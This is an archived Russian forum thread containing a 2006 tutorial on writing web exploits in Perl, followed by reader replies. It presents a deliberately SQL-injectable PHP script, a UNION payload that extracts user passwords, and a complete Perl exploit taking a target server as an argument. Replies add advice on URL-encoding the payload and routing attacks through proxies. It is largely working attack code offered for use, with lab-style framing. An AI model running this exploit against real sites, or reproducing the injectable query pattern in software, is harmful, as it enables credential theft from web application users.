PDA

Просмотр полной версии : Написание эксплоита для Web в домашних условиях (часть 1-ая)


Goudini
17.11.2006, 21:11
Написание эксплоита для Web в домашних условиях (часть 1-ая)

Как вы считаете, написание эксплоита для вэб-приложений – это сложная задача? Думаю, после прочтения этой статьи, вопросов у вас станет меньше.
Статья будет разбита на части. В каждой из них будет рассказано о том или ином подходе при написании эксплоитов начиная с простых для однократной SQL-инъекции и заканчивая более сложным для Blind-SQL-инъекции. Для более простого понимания текста, все будет снабжено комментариями.

Когда я только начинал писать эксплоиты, передо мной встал вопрос: какой язык выбрать для этих целей. Выбор был между знакомым мне php и старым добрым perl. И я остановил свой выбор именно на perl, хотя я знал его хуже, чем php, но этот язык изначально предназначался для системного программирования, в отличие от php, который все же лучше использовать для web-программирования.
Для взаимодействия с протоколом http можно воспользоваться двумя модулями perl: IO::Socket и LWP::UserAgent. Каждый из них имеет свои достоинства и недостатки. Если вам интересно подробнее узнать о принципах работы этих модулей, я рекомендую вам прочитать статью "IO::Socket и LWP: http по нашему" (http://www.xakep.ru/post/18626/default.asp).
В некоторых случаях бывает удобна комбинация этих модулей. При написании эксплоитов, мы будем использовать модуль IO::Socket для сценариев, отправляющих данные методом GET, а LWP::UserAgent – методом POST.
Я надеюсь, что читатель имеет представление о программировании, поэтому принцип действия операторов if, for, while и др. я комментировать не буду. А вот остальные участки кода будут пояснены.

Например:

#!/usr/bin/perl
use IO::Socket; # подключаем модуль
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"localhost", PeerPort=>"80″); #создает сокет, который подключается к серверу localhost по протоколу tcp на порт 80
print $sock "GET / HTTP/1.0\r\n"; # отправляет запрос на получение индексной страницы. Обратите внимание на символы новой строки: они обязательны.
print $sock "Connection: close\r\n\r\n"; # закрываем соединение
while ($answer = <$sock>) { print $answer; } # так мы сможем прочитать ответ от сервера
close($sock); #закрываем сокет

#!/usr/bin/perl
use LWP::UserAgent; #подключаем модуль
$ua = LWP::UserAgent->new; #здесь мы можем задать настройки соединения. Если ничего не указано (как в данном случае), будут использованы настройки по умолчанию.
my $req = HTTP::Request->new(POST=>"http://localhost/index.php"); # создаем запрос: куда будем посылать и каким методом.
$req->content_type('application/x-www-form-urlencoded'); # тип того, что передаем
$req->content("id=1″); # что передаем
my $res = $ua->request($req); #
$result = $res->content; # читаем ответ
print $result."\r\n";

Простая SQL-инъекция при использовании методов GET и POST.

С основами сетевого программирования разобрались. Настал черед написать наш первый эксплоит. Экспериментировать мы будем на таком сценарии:

<?
$user = 'root';
$pass = '';
$server = 'localhost';
$db = 'hackme';
echo "<html>
<head>
<title>HackMe</title>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">
</head>
<body>";
if (isset($_GET['id']))
{
$id = $_GET['id'];
mysql_connect($server,$user,$pass) or die("Failed to connect");
mysql_select_db($db) or die("Failed to select db");
$query = "SELECT name, email FROM users WHERE id='$id'";
$result = mysql_query($query);
if(mysql_num_rows($result)!='1')
{
echo "Такого пользователя в базе нет";
}
else
{
echo "<table width=\"100%\" border=\"0\"><tr>";
$array = mysql_fetch_array($result);
echo "<td>".$array['name']."</td>";
echo "<td>".$array['email']."</td>";
echo "</tr></table>";

}
}

echo " Выберите id пользователя <br>[<a href=http://localhost/hackme.php?id=1>1</a>] || [<a href=http://localhost/hackme.php?id=2>2</a>]<br>[<a href=http://localhost/hackme.php>Home</a>]
</body>
</html>
";
?>

Ничего сложного: по параметру id, пришедшему от пользователя, происходит выбор записи из базы данных и вывод результата на экран. Данные передаются методом GET, т.е. мы можем влиять на них из адресной строки браузера. Пока серверу передаются данные так, как задумал программист, то все идет нормально:

Init DB hackme
SELECT name, email FROM users WHERE id='1'
Quit
Result -> Admin admin@server.com

Init DB hackme
SELECT name, email FROM users WHERE id='2'
Quit
Result -> Hacker supaHaksor@server.net

Если передать параметру id значение 5, то в ответ мы получим, что "Такого пользователя в базе нет". А что будет, если мы подставим в запрос кавычку?

Init DB hackme
Query SELECT name, email FROM users WHERE id='5''
Quit
Result -> Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in D:\Server\www\hackme.php on line 24
Такого пользователя в базе нет

Так и есть: сценарий подвержен SQL-инъекции. Попробуем узнать версию сервера MySQL для планирования дальнейших действий.

Init DB hackme
Query SELECT name, email FROM users WHERE id='1' and version()>4/*'
Quit
Result -> Admin admin@server.com

Версия сервера базы данных явно больше 4, нам это и надо, чтобы в дальнейшем "склеить" запрос с помощью UNION, чтобы "вытянуть" из базы данных пароль пользователя.
В принципе, нам совсем не обязательно писать для этих целей специальную программу, все можно сделать руками в строке браузера. Но для понимания основ написания эксплоитов мы напишем программку, которая сделает все за нас.
Сперва мы составим скелет нашего эксплоита:

#!/usr/bin/perl
use IO::Socket; # Подключаем библиотеку, с которой будем работать. Мы договорились, что для отправления данных методом GET будем использовать IO::Socket.
if (@ARGV < 3) { &howto; } # Смотрим, сколько аргументов пришло с консоли. Если их количество меньше 3, то переходим к процедуре howto.
# Читаем пришедшие от пользователя аргументы. Так как это массив, то для обращения к его элементам нужно указывать соответствующий индекс
$server = $ARGV[0]; # Первый аргумент - сервер
$path = $ARGV[1]; # Второй - путь
$member_id = $ARGV[2]; # Третий – ID

$server =~ s!(http:\/\/)!!; # Регулярное выражение, которое вырезает из строки $server http://
$request = 'http://'; # Создаем запрос. Сперва http://
$request .= $server; # затем, справа приписываем сервер
$request .= $path; # и директорию
$port = "80"; # порт объявляем по умолчанию. Если вэб-сервер работает на другом порту, измените это значение.
# Когда все данные получены, выведем пользователю информацию, которую он ввел
print "Server : $server\r\n"; # Сервер
print "Path : $path\r\n"; # Путь
print "ID for search: $member_id\r\n"; # ID
print "Searching password... Please, be patient"; # Ну и для приличия напишем, что процесс пошел

sub howto() # Процедура howto, которая вызывается, если нет нужного количества аргументов, своеобразный хэлп
{
print q(
SQL injection exploit
Need MySQL > 4.0
==============================
HowTo:

w4g.pl [server] [/folder/] [member_id]

where:

[server] - host where script installed
[/folder/] - folder where script installed
[member_id] - user id for search

e.g. w4g.pl 127.0.0.1 /dir/ 1
===============================
coded by w4g.not_null

);
exit(); # Обязательно нужно выйти в процедуре, иначе наш экплоит начнет работу даже при отсутствии нужного количества аргументов.
}

"Скелет" готов. Теперь нужно сделаеть его "начинку".
Будем считать, что мы знаем структуру таблицы:

имя таблицы users

Поле Тип
id int(11)
name char(32)
password char(32)
email char(32)

Не трудно составить запрос, который выведет нам пароль интересующего пользователя:

5' UNION SELECT name, password FROM users WHERE id='1'/*

Комментарий (/*) добавлен на тот случай, если после уязвимого параметра есть еще какие-нибудь запросы. Нам они не нужны, поэтому мы их отбрасываем. Сервер MySQL нормально понимает незакрытый комментарий.
Теперь подготовим наш запрос к отправке. Смотрим первую часть статьи и находим там, в примере, строчку, в которой происходит формирование запроса:

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server", PeerPort=>"80″);
print $sock "GET $dir/hackme.php?id=5' UNION SELECT name, password FROM users WHERE id='$member_id'/* HTTP/1.0\r\n";
print $sock "Connection: close\r\n\r\n";

Готово. Следующим этапом нам нужно найти среди пришедшего результата нужные нам данные:

while ($answer = <$sock>) # Пока приходит ответ от сервера..
{

if($answer =~/<td>(.+?)<\/td><td>([0-9A-Z]+?)<\/td>/s) # и если в нем содержится строка, подходящая по шаблону…
{
print "\r\n[!] PASSWORD FIND =)\r\n"; # то пароль можно считать найденным
print "[+] $1:$2″; # и вывести его.
}
}
close($sock); #закрываем сокет

Все, эксплоит готов. Теперь его можно опробовать.

В следующих частях мы напишем эксплоиты для сценариев, работающих с уязвимыми параметрами, получаемыми методом POST.

Автор: ©w4g.not null | Security Bunker Team™ | 2006

_Great_
17.11.2006, 21:29
Неплохая статья ;)
Вставлю свои 5 копеек :)

1)GET / HTTP/1.0
Connection: close

последнее не обязательно согласно протоколу HTTP версии 1.0

2) "GET $dir/hackme.php?id=5' UNION SELECT name, password FROM users WHERE id='$member_id'/* HTTP/1.0\r\n";
Хм.. было бы кстати закодировать в urlencode() все это хозяйство, потому что если встретятся символ &, серверу это не понравится ;)

3) кстати, было бы нелишним рассмотреть интересующий новичков вопрос - использование прокси в эксплоитах. хотя бы банально http-прокси с запросом GET http://site.com/

Ну вроде все, что хотел сказать.

k1b0rg
17.11.2006, 21:47
$proxy=''127.0.0.1:81;
$browser->proxy('http', "http://$proxy" ) if $proxy;
для lwp

а для ио сокет, там просто соединяешься с проксиком, а в пакет суешь свой сайт

Talisman
17.11.2006, 22:37
начал читать - вспомнилось, что копирайты нуля вроде... в середине настойчивой чувство - ЧИТАЛ. дочитал - копирайты нуля :d
и нужно было постить в чужие статьи ИМХО.
ЗЫ откуда статья? фур стал добрее?!?!???

Goudini
22.11.2006, 22:04
Статью нашёл на компе, добавил в статьи, потому что этой статьи нет даже на сайте оригинала. Имеется продолжение даной темы...

KSURi
22.11.2006, 23:43
Имхо это перевод папера "Writing exploits in Perl, HOW?" от Warpboy

Robin_Hood
24.11.2006, 20:07
http://hackzona.ru/hz.php?name=News&file=article&sid=6446
тож линка в тему